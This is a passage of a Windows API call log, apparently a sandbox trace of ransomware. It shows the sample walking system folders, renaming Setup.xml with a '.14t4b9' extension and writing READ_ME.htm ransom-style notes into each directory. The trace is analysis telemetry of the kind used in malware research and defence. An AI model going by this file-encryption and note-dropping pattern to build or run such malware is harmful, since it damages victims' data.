lpNumberOfBytesWritten=0x21d478*=0x6a0, lpOverlapped=0x0) returned 1 [0136.523] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0136.524] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml.14t4b9", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml.14t4b9", lpFilePart=0x0) returned 0x4f [0136.524] SetErrorMode (uMode=0x1) returned 0x0 [0136.524] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41cb0b50, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41cb0b50, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4df03cc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x6a0)) returned 1 [0136.524] SetErrorMode (uMode=0x0) returned 0x1 [0136.524] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\Setup.xml.14t4b9" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\setup.xml.14t4b9")) returned 1 [0136.525] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0136.525] SetErrorMode (uMode=0x1) returned 0x0 [0136.526] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0136.526] GetFileType (hFile=0x1d0) returned 0x1 [0136.526] SetErrorMode (uMode=0x0) returned 0x1 [0136.526] GetFileType (hFile=0x1d0) returned 0x1 [0136.527] WriteFile (in: hFile=0x1d0, lpBuffer=0x29eba50*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29eba50*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0136.527] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\READ_ME.htm", lpFilePart=0x0) returned 0x21 [0136.527] SetErrorMode (uMode=0x1) returned 0x0 [0136.528] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0136.528] GetFileType (hFile=0x1d0) returned 0x1 [0136.528] SetErrorMode (uMode=0x0) returned 0x1 [0136.528] GetFileType (hFile=0x1d0) returned 0x1 [0136.528] WriteFile (in: hFile=0x1d0, lpBuffer=0x29effa0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x29effa0*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0136.529] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d130, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\READ_ME.htm", lpFilePart=0x0) returned 0x17 [0136.529] SetErrorMode (uMode=0x1) returned 0x0 [0136.529] CreateFileW (lpFileName="C:\\MSOCache\\READ_ME.htm" (normalized: "c:\\msocache\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0136.530] GetFileType (hFile=0x1d0) returned 0x1 [0136.530] SetErrorMode (uMode=0x0) returned 0x1 [0136.530] GetFileType (hFile=0x1d0) returned 0x1 [0136.530] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f44c0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d698, lpOverlapped=0x0 | out: lpBuffer=0x29f44c0*, lpNumberOfBytesWritten=0x21d698*=0x720, lpOverlapped=0x0) returned 1 [0136.531] GetFullPathNameW (in: lpFileName="C:\\PerfLogs", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs", lpFilePart=0x0) returned 0xb [0136.532] SetErrorMode (uMode=0x1) returned 0x0 [0136.532] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*" (normalized: "c:\\perflogs\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.533] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.533] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0136.533] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0136.533] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.533] SetErrorMode (uMode=0x0) returned 0x1 [0136.533] GetFullPathNameW (in: lpFileName="C:\\PerfLogs", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs", lpFilePart=0x0) returned 0xb [0136.534] SetErrorMode (uMode=0x1) returned 0x0 [0136.534] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*" (normalized: "c:\\perflogs\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.534] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.534] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0136.535] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0136.535] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.535] SetErrorMode (uMode=0x0) returned 0x1 [0136.535] GetFullPathNameW (in: lpFileName="C:\\PerfLogs\\Admin", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs\\Admin", lpFilePart=0x0) returned 0x11 [0136.535] SetErrorMode (uMode=0x1) returned 0x0 [0136.535] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\*" (normalized: "c:\\perflogs\\admin\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.564] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.564] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0136.564] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.564] SetErrorMode (uMode=0x0) returned 0x1 [0136.564] GetFullPathNameW (in: lpFileName="C:\\PerfLogs\\Admin", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs\\Admin", lpFilePart=0x0) returned 0x11 [0136.565] SetErrorMode (uMode=0x1) returned 0x0 [0136.565] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\*" (normalized: "c:\\perflogs\\admin\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.565] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.565] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0136.565] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.567] SetErrorMode (uMode=0x0) returned 0x1 [0136.567] GetFullPathNameW (in: lpFileName="C:\\PerfLogs\\Admin\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs\\Admin\\READ_ME.htm", lpFilePart=0x0) returned 0x1d [0136.567] SetErrorMode (uMode=0x1) returned 0x0 [0136.567] CreateFileW (lpFileName="C:\\PerfLogs\\Admin\\READ_ME.htm" (normalized: "c:\\perflogs\\admin\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0136.569] GetFileType (hFile=0x1d0) returned 0x1 [0136.569] SetErrorMode (uMode=0x0) returned 0x1 [0136.569] GetFileType (hFile=0x1d0) returned 0x1 [0136.569] WriteFile (in: hFile=0x1d0, lpBuffer=0x29fb520*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x29fb520*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0136.571] GetFullPathNameW (in: lpFileName="C:\\PerfLogs\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d130, lpFilePart=0x0 | out: lpBuffer="C:\\PerfLogs\\READ_ME.htm", lpFilePart=0x0) returned 0x17 [0136.571] SetErrorMode (uMode=0x1) returned 0x0 [0136.571] CreateFileW (lpFileName="C:\\PerfLogs\\READ_ME.htm" (normalized: "c:\\perflogs\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0136.573] GetFileType (hFile=0x1d0) returned 0x1 [0136.573] SetErrorMode (uMode=0x0) returned 0x1 [0136.573] GetFileType (hFile=0x1d0) returned 0x1 [0136.573] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ffa40*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d698, lpOverlapped=0x0 | out: lpBuffer=0x29ffa40*, lpNumberOfBytesWritten=0x21d698*=0x720, lpOverlapped=0x0) returned 1 [0136.575] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0136.575] SetErrorMode (uMode=0x1) returned 0x0 [0136.575] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*" (normalized: "c:\\programdata\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3e07f080, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e07f080, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3e07f080, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e07f080, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0136.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0136.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0136.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0136.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9152f250, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x9152f250, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0136.576] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe2f19400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x50bd0000, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x50bd0000, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~3")) returned 1 [0136.577] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0136.577] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e07f080, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e07f080, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0136.577] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0xb3a789d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xb3a789d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0136.577] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1f2b3de0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0136.577] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0136.577] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0136.577] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0136.577] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.577] SetErrorMode (uMode=0x0) returned 0x1 [0136.578] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0136.578] SetErrorMode (uMode=0x1) returned 0x0 [0136.578] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*" (normalized: "c:\\programdata\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3e07f080, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e07f080, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.578] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2012, 